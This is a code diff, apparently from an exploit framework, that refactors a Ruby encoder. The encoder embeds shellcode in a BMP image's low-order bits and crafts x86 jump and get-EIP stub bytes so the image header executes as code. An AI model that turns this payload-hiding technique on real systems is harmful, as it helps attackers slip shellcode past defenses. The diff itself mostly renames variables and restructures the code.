52
52
# calculate the smallest increase of a 32-bit little endian integer which is
53
53
# also a valid x86 jmp opcode of the specified minimum size.
54
54
class SizeCalculator
55
+
56
+ BYTE_NOPS = [
57
+ 0x42 , # inc edx
58
+ 0x45 , # inc ebp
59
+ 0x4a , # dec edx
60
+ 0x4d , # dec ebp
61
+ 0x90 , # xchg eax, eax / nop
62
+ 0xf5 , # cmc
63
+ 0xf8 , # clc
64
+ 0xf9 , # stc
65
+ 0xfc , # cld
66
+ 0xfd # std
67
+ ]
68
+
55
69
def initialize ( size , minimum_jump )
56
70
@original_size = size
57
71
raise if minimum_jump < 0 || minimum_jump > 0xff
@@ -72,30 +86,30 @@ def new_size_long
72
86
size = [ @original_size ] . pack ( 'V' ) . unpack ( 'CCCC' )
73
87
74
88
0 . upto ( 2 ) do |i |
75
- b0 = size [ i ]
76
- b1 = size [ i + 1 ]
77
- b2 = size [ i + 2 ] . to_i
78
- b3 = size [ i + 3 ] . to_i
79
- b4 = size [ i + 4 ] . to_i
89
+ byte_0 = size [ i ]
90
+ byte_1 = size [ i + 1 ]
91
+ byte_2 = size [ i + 2 ] . to_i
92
+ byte_3 = size [ i + 3 ] . to_i
93
+ byte_4 = size [ i + 4 ] . to_i
80
94
min_jmp = ( @minimum_jump - 5 - i )
81
95
82
- if [ b2 , b3 , b4 ] . inject { | sum , x | sum + x } > 0 # this jmp would be too large
83
- if b0 > 0xfd
96
+ if byte_2 + byte_3 + byte_4 > 0 # this jmp would be too large
97
+ if byte_0 > 0xfd
84
98
size = increment_size ( size , i )
85
99
end
86
- size [ i ] = round_up_to_nop ( b0 )
100
+ size [ i ] = round_up_to_nop ( byte_0 )
87
101
next
88
102
end
89
103
90
- if b0 > 0xe9
91
- if b0 > 0xfd
104
+ if byte_0 > 0xe9
105
+ if byte_0 > 0xfd
92
106
size = increment_size ( size , i )
93
107
end
94
- size [ i ] = round_up_to_nop ( b0 )
108
+ size [ i ] = round_up_to_nop ( byte_0 )
95
109
else
96
110
size [ i ] = 0xe9
97
- b1 = min_jmp if b1 < min_jmp
98
- size [ i + 1 ] = b1
111
+ byte_1 = min_jmp if byte_1 < min_jmp
112
+ size [ i + 1 ] = byte_1
99
113
return size . pack ( 'CCCC' ) . unpack ( 'V' ) [ 0 ]
100
114
end
101
115
end
@@ -106,24 +120,24 @@ def new_size_short
106
120
size = [ @original_size ] . pack ( 'V' ) . unpack ( 'CCCC' )
107
121
108
122
0 . upto ( 2 ) do |i |
109
- b0 = size [ i ]
110
- b1 = size [ i + 1 ]
123
+ byte_0 = size [ i ]
124
+ byte_1 = size [ i + 1 ]
111
125
min_jmp = ( @minimum_jump - 2 - i )
112
126
113
- if b0 > 0xeb
114
- if b0 > 0xfd
127
+ if byte_0 > 0xeb
128
+ if byte_0 > 0xfd
115
129
size = increment_size ( size , i )
116
130
end
117
- size [ i ] = round_up_to_nop ( b0 )
131
+ size [ i ] = round_up_to_nop ( byte_0 )
118
132
else
119
133
size [ i ] = 0xeb
120
- if b1 > 0x7f
121
- b1 = min_jmp
134
+ if byte_1 > 0x7f
135
+ byte_1 = min_jmp
122
136
size = increment_size ( size , i + 1 )
123
- elsif b1 < min_jmp
124
- b1 = min_jmp
137
+ elsif byte_1 < min_jmp
138
+ byte_1 = min_jmp
125
139
end
126
- size [ i + 1 ] = b1
140
+ size [ i + 1 ] = byte_1
127
141
return size . pack ( 'CCCC' ) . unpack ( 'V' ) [ 0 ]
128
142
end
129
143
end
@@ -158,21 +172,7 @@ def increment_size(size, byte)
158
172
end
159
173
160
174
def round_up_to_nop ( opcode )
161
- byte_nops = [
162
- 0x42 , # inc edx
163
- 0x45 , # inc ebp
164
- 0x4a , # dec edx
165
- 0x4d , # dec ebp
166
- 0x90 , # xchg eax, eax / nop
167
- 0xf5 , # cmc
168
- 0xf8 , # clc
169
- 0xf9 , # stc
170
- 0xfc , # cld
171
- 0xfd # std
172
- ]
173
- byte_nops . each do |nop |
174
- return nop if opcode <= nop
175
- end
175
+ BYTE_NOPS . find { |nop | opcode <= nop }
176
176
end
177
177
178
178
end
@@ -278,7 +278,6 @@ def make_destego_stub(shellcode_size, padding, lsbs = 1)
278
278
get_eip_nop = Proc . new { |b | [ 0x90 , 0x40 + b . regnum_of ( [ bit_reg , byte_reg , dst_addr_reg , src_addr_reg ] . sample ) , 0x48 + b . regnum_of ( [ bit_reg , byte_reg , dst_addr_reg , src_addr_reg ] . sample ) ] . sample . chr }
279
279
get_eip = Proc . new { |b |
280
280
[
281
- Proc . new { |b | get_eip_nop . call ( b ) + "\xe8 \x00 \x00 \x00 \x00 " + ( 0x58 + b . regnum_of ( src_addr_reg ) ) . chr } ,
282
281
Proc . new { |b | "\xe8 " + [ 0 , 1 ] . sample . chr + "\x00 \x00 \x00 " + get_eip_nop . call ( b ) + ( 0x58 + b . regnum_of ( src_addr_reg ) ) . chr } ,
283
282
Proc . new { |b | "\xe8 \xff \xff \xff \xff " + ( 0xc0 + b . regnum_of ( [ bit_reg , byte_reg , dst_addr_reg , src_addr_reg ] . sample ) ) . chr + ( 0x58 + b . regnum_of ( src_addr_reg ) ) . chr } ,
284
283
] . sample . call ( b )
@@ -378,24 +377,24 @@ def stegoify(shellcode, data, lsbs = 1)
378
377
data
379
378
end
380
379
381
- def validate_dib_header ( bmp )
382
- dib_header = bmp . read ( DIB_HEADER_SIZE )
380
+ def validate_dib_header ( dib_header )
383
381
size , _ , _ , _ , bbp , compression , _ , _ , _ , _ , _ = dib_header . unpack ( 'VVVvvVVVVVV' )
384
382
raise EncodingError , 'Bad .bmp DIB header, must be 40-byte BITMAPINFOHEADER' if size != DIB_HEADER_SIZE
385
383
raise EncodingError , 'Bad .bmp DIB header, bits per pixel must be must be either 24 or 32' if bbp != 24 && bbp != 32
386
384
raise EncodingError , 'Bad .bmp DIB header, compression can not be used' if compression != 0
387
- dib_header
388
385
end
389
386
390
387
def encode ( buf , badchars = nil , state = nil , platform = nil )
391
388
in_bmp = File . open ( datastore [ 'BitmapFile' ] , 'rb' )
392
389
393
390
header = in_bmp . read ( BM_HEADER_SIZE )
391
+ dib_header = in_bmp . read ( DIB_HEADER_SIZE )
392
+ image_data = in_bmp . read
393
+ in_bmp . close
394
+
394
395
header , original_size , _ , _ , original_offset = header . unpack ( 'vVvvV' )
395
396
raise EncodingError , 'Bad .bmp header, must be 0x424D (BM)' if header != 0x4d42
396
-
397
- dib_header = validate_dib_header ( in_bmp )
398
- image_data = in_bmp . read
397
+ validate_dib_header ( dib_header )
399
398
400
399
lsbs = calc_required_lsbs ( buf . length , image_data . length )
401
400
@@ -413,11 +412,8 @@ def encode(buf, badchars = nil, state = nil, platform = nil)
413
412
bmp_img = ''
414
413
bmp_img << [ 0x4d42 , details [ :new_size ] , 0 , 0 , new_offset ] . pack ( 'vVvvV' )
415
414
bmp_img << dib_header
416
-
417
415
bmp_img << pre_image_data
418
416
bmp_img << stegoify ( buf , image_data , lsbs )
419
-
420
- in_bmp . close
421
417
bmp_img
422
418
end
423
419
end
0 commit comments